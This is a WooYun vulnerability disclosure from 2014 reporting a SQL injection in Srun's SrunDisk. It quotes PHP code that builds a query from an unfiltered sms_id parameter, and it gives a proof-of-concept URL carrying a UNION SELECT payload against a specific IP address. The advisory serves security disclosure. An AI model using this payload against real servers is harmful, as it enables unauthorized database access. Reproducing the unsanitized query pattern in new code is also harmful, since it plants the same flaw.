当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:
漏洞标题:
深澜软件漏洞SrunDisk注入漏洞一枚
相关厂商:
漏洞作者:
提交时间:
2014-07-31 17:35
修复时间:
2014-10-26 17:36
公开时间:
2014-10-26 17:36
漏洞类型:
SQL注射漏洞
危害等级:
自评Rank:
20
漏洞状态:
漏洞已经通知厂商但是厂商忽略漏洞
漏洞来源:
http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签:
分享漏洞:
4人收藏 收藏
分享漏洞:

>

漏洞详情

披露状态:

2014-07-31: 细节已通知厂商并且等待厂商处理中
2014-08-05: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2014-09-29: 细节向核心白帽子及相关领域专家公开
2014-10-09: 细节向普通白帽子公开
2014-10-19: 细节向实习白帽子公开
2014-10-26: 细节向公众公开

简要描述:

RT

详细说明:

文件:/sms_show.php

<?php
include_once("head.php");
if($uname=="")
{
exit("<script language='javascript'>parent.location.reload();</script>");
}
include_once("kernel/eidolon.class.php");
$sms_id=$_GET["sms_id"];
include_once("kernel/sms.class.php");
$sms=new Sms();
$sms->sms_id=$sms_id;
if($res=$sms->gets())
{
$sms_sender=$res[0]["sms_sender"];
$sms_subject=$res[0]["sms_subject"];
$sms_content=nl2br($res[0]["sms_content"]);
}
$sms->change("sms_stat",1);
$eidolon=new Eidolon("templets/sms_show.html");
$eidolon->parseBlock("_main");
$eidolon->showBlock("_main");
?>


/kernel/sms.class.php 关键代码

function gets()
{
$where="1=1";
if($this->sms_id>0)
{
$where.=" AND sms_id=".$this->sms_id;
}
if($this->sms_sender!="")
{
$where.=" AND sms_sender='".$this->sms_sender."'";
}
if($this->sms_receiver!="")
{
$where.=" AND sms_receiver='".$this->sms_receiver."'";
}
if($this->sms_type>0)
{
$where.=" AND sms_type=".$this->sms_type;
}
$sql="SELECT * FROM sms_box WHERE ".$where." ORDER BY sms_stat,sms_id DESC LIMIT ".$this->getLimit(); //echo $sql;
return $this->find($sql);
}


sms_id参数没有过滤直接带入查询。

漏洞证明:

官网测试站点:http://218.75.75.92/sms_show.php?sms_id=3%20and%201=2%20union%20select%201,user(),3,4,5,6,7,8

2014-07-30_145106.png


修复方案:

过滤哦,亲~

版权声明:转载请注明来源 xlz0iza1@乌云


>

漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-10-26 17:36

厂商回复:

最新状态:

暂无